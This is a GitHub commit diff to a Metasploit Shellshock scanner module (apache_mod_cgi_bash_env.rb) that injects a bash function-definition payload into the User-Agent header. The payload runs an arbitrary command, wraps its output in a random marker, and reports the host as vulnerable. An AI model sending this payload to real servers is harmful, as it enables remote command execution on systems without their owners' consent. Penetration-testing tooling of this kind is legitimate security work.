Skip to content

Commit 8daf8d4

Browse files
committed
Report vuln for apache_mod_cgi_bash_env
Now with fewer false positives! It's kinda like a check method.
1 parent 5a59b7c commit 8daf8d4

File tree

1 file changed

+11
-3
lines changed

1 file changed

+11
-3
lines changed

modules/auxiliary/scanner/http/apache_mod_cgi_bash_env.rb

Lines changed: 11 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -41,14 +41,22 @@ def initialize(info = {})
4141
end
4242

4343
def run_host(ip)
44+
marker = Rex::Text.rand_text_alphanumeric(rand(42) + 1)
45+
4446
res = send_request_raw(
4547
'method' => datastore['METHOD'],
4648
'uri' => normalize_uri(target_uri.path),
47-
'agent' => "() { :;}; #{datastore['CMD']}"
49+
'agent' => %Q{() { :; }; echo "#{marker}$(#{datastore['CMD']})#{marker}"}
4850
)
4951

50-
if res && res.code == 200
51-
vprint_good("#{peer} - #{res.body}")
52+
if res && res.body =~ /#{marker}(.+)#{marker}/m
53+
print_good("#{peer} - #{$1}")
54+
report_vuln(
55+
:host => ip,
56+
:port => rport,
57+
:name => self.name,
58+
:refs => self.references
59+
)
5260
end
5361
end
5462

0 commit comments

Comments
 (0)